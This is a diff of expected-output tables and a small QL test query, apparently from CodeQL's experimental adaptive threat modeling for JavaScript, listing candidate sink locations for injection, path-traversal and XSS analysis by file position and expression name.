| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:30:34:30:37 | file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:30:34:30:37 | file |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:31:13:31:18 | files2 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:31:13:31:23 | files2.push |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:35:13:35:35 | files3 |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:35:22:35:35 | format(files2) |
|
||||
| ShellCommandInjectionFromEnvironmentAtmConfig | autogenerated/Xss/StoredXss/xss-through-filenames.js:35:29:35:34 | files2 |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:14:30:14:30 | v |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:22:33:22:33 | v |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:23:33:23:33 | v |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:82:11:91:6 | JSON.st ... \\n }) |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:99:11:111:6 | JSON.st ... \\n }) |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:109:13:109:14 | id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:25:23:25:48 | JSON.pa ... y.data) |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:26:25:26:29 | query |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:50:23:50:48 | JSON.pa ... y.data) |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:32:15:32:59 | `(\|(nam ... ame}))` |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:64:5:64:49 | `(\|(nam ... ame}))` |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:77:22:77:24 | tag |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:85:20:85:22 | tag |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:130:23:130:24 | id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:131:30:131:31 | id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:11:22:11:22 | v |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:12:22:12:32 | req.body.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:13:22:13:37 | `${req.body.id}` |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:21:10:26 | [temp] |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:22:10:25 | temp |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:6:15:7:34 | "SELECT ... ategory |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:6:15:7:55 | "SELECT ... PRICE" |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:26:13:26:25 | req.params.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:41:7:41:20 | req.params.foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:48:13:48:27 | req.params.name |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:55:13:55:27 | req.params.name |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/redis.js:52:28:52:30 | key |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst3.js:7:16:8:34 | "SELECT ... ategory |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst3.js:7:16:8:55 | "SELECT ... PRICE" |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst3.js:16:23:16:41 | req.params.category |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst4.js:8:10:8:60 | 'SELECT ... rams.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst.js:10:10:10:58 | 'SELECT ... rams.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:28:28:28:30 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:29:33:29:35 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:30:26:30:28 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:31:26:31:28 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:32:26:32:28 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:39:26:39:28 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:56:54:56:56 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:85:37:85:54 | req.query.fileName |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh2.js:10:40:10:46 | command |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh.js:15:44:15:50 | command |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:33:12:33:69 | "http:/ ... ry.user |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:34:44:34:46 | cmd |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:7:33:7:38 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:9:29:9:34 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:18:35:18:40 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:20:35:20:40 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:24:35:24:40 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:26:35:26:40 | remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:31:27:31:40 | req.query.args |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:40:28:40:43 | req.query.remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:42:31:42:46 | req.query.remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:46:34:46:49 | req.query.remote |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:29:46:29:60 | req.params.path |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:33:42:33:56 | req.params.name |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:37:43:37:57 | req.params.name |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:43:15:43:29 | req.params.path |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/handlebars.js:49:17:49:33 | req.params.prefix |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:312:19:312:22 | path |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:321:19:321:32 | normalizedPath |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:328:19:328:32 | normalizedPath |
|
||||
| SqlInjectionAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:381:25:381:28 | path |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/classnames.js:10:45:10:55 | window.name |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:15:65:15:69 | taint |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/dates.js:17:49:17:53 | taint |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:10:30:10:47 | req.query.receiver |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:12:11:12:69 | `Hi, yo ... sage}.` |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:6:27:6:32 | data.w |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:11:36:11:41 | data.w |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst3.js:15:23:15:29 | data[p] |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:15:37:15:42 | target |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:83:29:83:52 | documen ... .search |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/DomBasedXss/tst.js:86:31:86:54 | documen ... .search |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:5:11:5:11 | x |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:9:11:9:13 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:21:11:21:21 | foo + "bar" |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:27:19:27:21 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:33:19:33:21 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:68:19:68:21 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:89:11:89:26 | foo.match(/foo/) |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:95:12:95:14 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:102:12:102:14 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:117:11:117:23 | req.params.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:128:11:128:52 | session ... ssion') |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:136:10:136:22 | req.params.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:148:33:148:35 | foo |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:171:11:171:17 | tainted |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:180:10:180:22 | req.params.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:5:32:22 | ['body', req.body] |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:14:32:21 | req.body |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:70:47:70:54 | req.body |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXssGood.js:19:45:19:57 | req.params.id |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXssGood.js:49:34:49:43 | msg.length |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:13:42:13:48 | req.url |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:43:40:49 | req.url |
|
||||
| SqlInjectionAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:49:38:49:44 | req.url |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:14:30:14:30 | v |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:22:33:22:33 | v |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/typed/typedClient.ts:23:33:23:33 | v |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:82:11:91:6 | JSON.st ... \\n }) |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:99:11:111:6 | JSON.st ... \\n }) |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/graphql.js:109:13:109:14 | id |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/json-schema-validator.js:26:25:26:29 | query |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:32:15:32:59 | `(\|(nam ... ame}))` |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:40:15:42:11 | `(\|(nam ... )}))` |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/ldap.js:64:5:64:49 | `(\|(nam ... ame}))` |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:21:25:21:45 | '' + qu ... y.title |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:24:25:24:50 | query.b ... bstr(1) |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:77:22:77:24 | tag |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongodb.js:85:20:85:22 | tag |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:130:23:130:24 | id |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:131:30:131:31 | id |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:11:22:11:22 | v |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:12:22:12:32 | req.body.id |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mongooseModelClient.js:13:22:13:37 | `${req.body.id}` |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:21:10:26 | [temp] |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/mysql.js:10:22:10:25 | temp |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:26:13:26:25 | req.params.id |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:41:7:41:20 | req.params.foo |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:48:13:48:27 | req.params.name |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/pg-promise.js:55:13:55:27 | req.params.name |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/redis.js:52:28:52:30 | key |
|
||||
| TaintedPathAtmConfig | autogenerated/NosqlAndSqlInjection/untyped/tst3.js:16:23:16:41 | req.params.category |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:28:28:28:30 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:29:33:29:35 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:30:26:30:28 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:31:26:31:28 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:32:26:32:28 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:39:26:39:28 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:56:54:56:56 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/child_process-test.js:85:37:85:54 | req.query.fileName |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh2.js:10:40:10:46 | command |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/exec-sh.js:15:44:15:50 | command |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:33:12:33:69 | "http:/ ... ry.user |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/CommandInjection/other.js:34:44:34:46 | cmd |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:7:33:7:38 | remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:9:29:9:34 | remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:20:35:20:40 | remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:26:35:26:40 | remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:31:27:31:40 | req.query.args |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:40:28:40:43 | req.query.remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:42:31:42:46 | req.query.remote |
|
||||
| TaintedPathAtmConfig | autogenerated/ShellCommandInjectionFromEnvironment/SecondOrderCommandInjection/second-order.js:46:34:46:49 | req.query.remote |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/TaintedPath.js:115:12:115:51 | path.re ... /g, '') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/TaintedPath.js:116:12:116:36 | path.re ... /g, '') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/TaintedPath.js:128:11:128:50 | path.re ... /g, '') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/TaintedPath.js:129:12:129:36 | path.re ... /g, '') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/handlebars.js:29:46:29:60 | req.params.path |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/handlebars.js:33:42:33:56 | req.params.name |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/handlebars.js:37:43:37:57 | req.params.name |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/handlebars.js:43:15:43:29 | req.params.path |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/handlebars.js:49:17:49:33 | req.params.prefix |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:21:14:21:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:31:14:31:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:54:14:54:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:73:14:73:56 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:94:14:94:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:106:14:106:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:117:14:117:44 | fs.real ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:130:14:130:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:139:14:139:62 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:148:14:148:58 | 'foo/' ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:160:14:160:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:214:14:214:49 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:219:10:219:33 | decodeU ... t(path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:226:14:226:70 | pathMod ... g, ' ') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:230:12:230:36 | path.re ... /g, '') |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:236:14:236:47 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:254:14:254:47 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:312:19:312:22 | path |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:321:19:321:32 | normalizedPath |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:328:19:328:32 | normalizedPath |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:339:13:339:46 | pathMod ... y.path) |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:381:25:381:28 | path |
|
||||
| TaintedPathAtmConfig | autogenerated/TaintedPath/normalizedPaths.js:385:14:385:46 | pathMod ... uery.x) |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:10:30:10:47 | req.query.receiver |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/DomBasedXss/nodemailer.js:12:11:12:69 | `Hi, yo ... sage}.` |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:117:11:117:23 | req.params.id |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:136:10:136:22 | req.params.id |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ExceptionXss/exception-xss.js:180:10:180:22 | req.params.id |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:5:32:22 | ['body', req.body] |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:32:14:32:21 | req.body |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:70:47:70:54 | req.body |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:99:31:99:38 | req.body |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXss.js:102:68:102:75 | req.body |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXssGood.js:19:45:19:57 | req.params.id |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/ReflectedXssGood.js:49:34:49:43 | msg.length |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:13:42:13:48 | req.url |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:42:40:50 | [req.url] |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:40:43:40:49 | req.url |
|
||||
| TaintedPathAtmConfig | autogenerated/Xss/ReflectedXss/partial.js:49:38:49:44 | req.url |
|
||||
| XssThroughDomAtmConfig | autogenerated/Xss/XssThroughDom/xss-through-dom.js:109:45:109:55 | this.el.src |
|
||||
| XssThroughDomAtmConfig | autogenerated/Xss/XssThroughDom/xss-through-dom.js:122:53:122:70 | ev.target.files[0] |
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* ExtractEndpointDataInference.ql
|
||||
*
|
||||
* This test surfaces the endpoints that pass the endpoint filters and have flow from a source for each query config,
|
||||
* and are therefore used as candidates for scoring at inference time.
|
||||
*
|
||||
* This is equivalent to ExtractEndpointDataTraining.qlref, but testing the inference endpoints rather than the training
|
||||
* endpoints. It detects CodeQL changes that impact the endpoints that get scored at inference time.
|
||||
*
|
||||
* This test does not actually score the endpoints and test for changes in the model predictions: that gets done in the
|
||||
* integration tests.
|
||||
*/
|
||||
|
||||
private import javascript as JS
|
||||
import extraction.NoFeaturizationRestrictionsConfig
|
||||
private import experimental.adaptivethreatmodeling.ATMConfig as AtmConfig
|
||||
private import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
private import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
private import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
private import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
private import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
|
||||
query predicate isSinkCandidateForQuery(
|
||||
AtmConfig::AtmConfig queryConfig, JS::DataFlow::PathNode sink
|
||||
) {
|
||||
queryConfig.isSinkCandidateWithFlow(sink)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,16 +1,33 @@
|
||||
nosqlFilteredTruePositives
|
||||
| autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:111:14:111:18 | query | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/NosqlAndSqlInjection/untyped/mongoose.js:111:14:111:18 | query | not a direct argument to a likely external library call or a heuristic sink (nosql) |
|
||||
sqlFilteredTruePositives
|
||||
| autogenerated/NosqlAndSqlInjection/untyped/tst2.js:7:13:7:45 | select ... e id = | not an argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/NosqlAndSqlInjection/untyped/tst2.js:7:48:7:60 | req.params.id | not an argument to a likely external library call or a heuristic sink |
|
||||
taintedPathFilteredTruePositives
|
||||
| autogenerated/TaintedPath/TaintedPath.js:66:26:66:31 | "SAFE" | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/TaintedPath/TaintedPath.js:71:26:71:45 | Cookie.get("unsafe") | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/TaintedPath/TaintedPath.js:66:26:66:31 | "SAFE" | not a direct argument to a likely external library call or a heuristic sink (tainted path) |
|
||||
| autogenerated/TaintedPath/TaintedPath.js:71:26:71:45 | Cookie.get("unsafe") | not a direct argument to a likely external library call or a heuristic sink (tainted path) |
|
||||
xssFilteredTruePositives
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:12:20:12:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:14:20:14:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/express.js:7:15:7:33 | req.param("wobble") | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/jwt-server.js:11:19:11:29 | decoded.foo | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/tst.js:316:35:316:42 | location | not a direct argument to a likely external library call or a heuristic sink |
|
||||
